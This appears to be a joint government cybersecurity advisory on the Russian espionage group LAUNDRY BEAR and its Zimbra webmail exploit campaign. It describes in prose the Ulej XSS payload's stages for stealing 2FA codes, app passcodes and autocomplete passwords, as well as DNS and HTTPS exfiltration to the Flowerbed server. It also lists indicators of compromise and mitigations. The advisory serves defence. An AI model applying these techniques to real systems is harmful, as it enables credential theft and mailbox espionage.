Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  
The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].  
Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named “Улей” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

Last 90 days of emails,
Email address,
Password [T1589.001],
Global Address List (GAL) [T1087],
Two-factor authentication (2FA) tokens, and
Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.
Targeting details
LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

the Defense Industrial Base (DIB),  
the federal and local government,
education,
energy,
law enforcement,  
media,  
non-governmental organizations, and
technology.

Technical details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FEND^TM version 1.4.0¹⁵. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.
Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.
Reconnaissance
LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].  
After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].  
Resource development 
The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.
Flowerbed framework
Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

Catcher,
Certbot,
Nginx, and
Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.
The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.
Initial access
To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.





  
      




      Figure 1: Example of malicious email
  





  
      




      Figure 2: Headers from an example malicious email
  
According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].  
Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.
Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

sendStartPing,
gather_email,
gather_environment,
gather_2fa_codes,
gather_app_password,
gather_device_status,
gather_oauth_consumers,
gather_autocomplete_password,
enable_mail_protocols,
gather_gal,
sendArchives, and
sendFinishPing. 






  
      




      Figure 3: Malicious payload of example email
  
Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].
Persistence and credential access
To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.
The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.
During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.





  
      




      Figure 4: First illegitimate login HTML element
  





  
      




      Figure 5: Second illegitimate login HTML element
  
LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.
ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.
Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.
Collection
As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.


Table 1: Additional SOAP commands used





SOAP Command 






Namespace 






Stage 










GetInfoRequest 






zimbraAccount 






gather_environment 








GetDeviceStatusRequest 






zimbraSync 






gather_device_status 








GetOAuthConsumersRequest 






zimbraAccount 






gather_oauth_consumers 








SearchGalRequest 






zimbraAccount 






gather_gal 






The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.
During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.


Table 2: ZCS webmail client types





Indicator 






Client Type 






Associated Value 










?client=advanced 






Advanced 






c 








/h/ 






Standard 






h 








/modern/ 






Modern 






m 






As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.  
According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.
The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.
Exfiltration
At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.
Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  
DNS exfiltration
DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.





  
      




      Figure 6: Structure for information exfiltrated by DNS
  
When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  


Table 3: DNS exfiltration





Type of Information 






Exfiltration Stage 






Data Type 










Victim’s Email Address 






gather_email 






e 








Client Type 






gather_environment 






c 








Zimbra Version 






gather_environment  






v 








URL at Time of Exploitation 






gather_environment 






url 








2FA Scratch Codes 






gather_2fa_codes 






2fa 








Newly Created Application Password 






gather_app_password 






pa 








Harvested Autocomplete Password 






gather_autocomplete_password 






pw 






HTTPS exfiltration
Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.  


Table 4: HTTPS exfiltration types





Content Type 






URL Path 










application/json 






/v/p 








application/octet-stream 






/v/d 











  
      




      Figure 7: Structure for information exfiltrated by HTTPS
  
Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  
Table 5 provides a summary of the JSON-based exfiltration.


Table 5: HTTPS JSON exfiltration  





Type of Information 






Exfiltration Stage 






JSON Key(s) 










Victim’s Email Address 






gather_email 






email 








Client Type, Version, and Current URL 






gather_environment 






client, version, full_url 








Newly Created Application Password 






gather_app_password 






app_password 








Harvested Autocomplete Password 






gather_autocomplete_password 






autocomplete_password 






The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.




 Table 6: HTTPS binary exfiltration





Type of Information 






Exfiltration Stage 






X-Filename Header 










SOAP request for GetInfoRequest 






gather_environment 






zimbra_batch_analytics.json 








SOAP request for GetScratchCodesRequest 






gather_2fa_codes 






zimbra_batch_analytics.json 








SOAP request for GetDeviceStatusRequest 






gather_device_status 






zimbra_batch_analytics.json 








SOAP request for GetOAuthConsumersRequest 






gather_oauth_consumers 






zimbra_batch_analytics.json 








Victim Organization’s Global Address List 






gather_gal 






telemetry_{1-20}.json 








Last 90 Days of Victim’s Emails 






sendArchives 






telemetryData_{0-89}.json 








The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.
At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).  
Catcher
Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.
Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.
The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  
However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

Time of query,
Source IP address for query,
Queried domain, and
Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

Time,
Source IP address,
Request method,
Host,
Path,
Query string,
Headers, and
Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.





  
      




      Figure 8: Command used for automated directory cleanup
  
Response strategies
Mitigations
In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.
All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].
System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.
Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.  
Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and  
Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.
Indicators of compromise (IOCs)
Flowerbed infrastructure
The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].


Table 7: Flowerbed server infrastructure





Domain 






IP Address 






First Seen 






Last Seen 










zmailanalytics[.]com 






216.252.238[.]104 






8 July 2025 






15 October 2025 








zimbra-metadata[.]com 






216.252.238[.]18 






20 August 2025 






14 October 2025 








analyticemailmeter[.]com 






37.120.247[.]228 






24 September 2025 






18 March 2026 








emailanalytics.com[.]ua 






185.86.79[.]95 






24 September 2025 






18 March 2026 








mailnalysis[.]com 






104.248.134[.]194 






11 November 2025 






17 February 2026 








zimbrastat[.]com 






64.226.124[.]190 






18 December 2025 






18 March 2026 








zimbrasoft.com[.]ua 






193.238.152[.]66 






20 January 2026 






18 March 2026 








synacorzimbra[.]nl 






216.252.238[.]64 






3 February 2026 






30 March 2026 








istc-cloud[.]com 






194.156.103[.]193 






5 February 2026 






30 March 2026 








Table 8: Flowerbed X.509 certificate SHA-1 hashes  





Associated Domain 






X.509 SHA-1 Hash 






First Seen 






Last Seen 










zmailanalytics[.]com 






2e4f314bc9943cab5005d6fde0b271c74d47bc9d 






8 Jul 2025 






6 Aug 2025 








*.i.zmailanalytics[.]com 






50a87d926621dd06389ba50d86e0ff574ed713a8 






6 Aug 2025 






13 Oct 2025 








*.i.zimbra-metadata[.]com 






c5a72420e7bb308d078e62128430897f82194c95 






20 Aug 2025 






14 Oct 2025 








*.i.analyticemailmeter[.]com 






8959c4d29e29f02ea94ea8bb21c8df2594c5549d 






24 Sep 2025 






8 Nov 2025 








*.i.emailanalytics.com[.]ua 






62eb76432597694edb01c1fe57aab0cfe03a7178 






25 Sep 2025 






27 Sep 2025 








*.i.mailnalysis[.]com 






cddf5c3be1e07f28140aed165b929bf2d614922a 






12 Nov 2025 






17 Dec 2025 








*.i.zimbrastat[.]com 






18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 






18 Dec 2025 






28 Dec 2025 








*.i.zimbrasoft.com[.]ua 






1b25041ececf2457eef0270fc1d785cec8ec9ded 






21 Jan 2026 






10 Feb 2026 








*.i.synacorzimbra[.]nl 






e4fe6466a4f9a4249fe330651e914e45bbdca44a 






5 Feb 2026 






22 Mar 2026 








*.i.istc-cloud[.]com 






b6b77c9a455225d525834a403ca9ef5481ed0447 






12 Feb 2026 






30 Mar 2026 






LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

ivanka.zurabishvili@proton[.]me,
zmul1@buildandconsulting[.]com,
garrysmithme@pinmx[.]net, and
hostingclient@pinmx[.]net.

Phishing distribution
LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  
The following email addresses have distributed payloads attributed to this campaign:

c.laurent.ejfa@proton[.]me,
j.moreau.epsc@proton[.]me,
liberty.insights@proton[.]me,
certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts
Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.
This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

Many SearchGalRequest command requests from a single user over a short period of time;
Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.
While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”
In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  
Remediation
In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.
Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.
All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.
Works cited
[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf
[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/
[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/ 
[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit
[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  
Footnotes
¹ Národní úřad pro kybernetickou a informační bezpečnost
²Forsvarets Efterretningstjeneste
³Välisluureamet
⁴ Sotilastiedustelu
⁵ Suojelupoliisi
⁶ Direction générale de la sécurité intérieure
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Serviciul de Informații și Securitate al Republicii Moldova
¹¹Agencja Wywiadu
¹²Służba Kontrwywiadu Wojskowego
¹³Centro Nacional de Inteligencia
¹⁴Nationellt Cybersäkerhetscenter
¹⁵ MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.
Acknowledgements
The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.
Disclaimer of endorsement
The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.
Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.
Purpose
This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
Contact


United States organizations 

National Security Agency 
Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov 
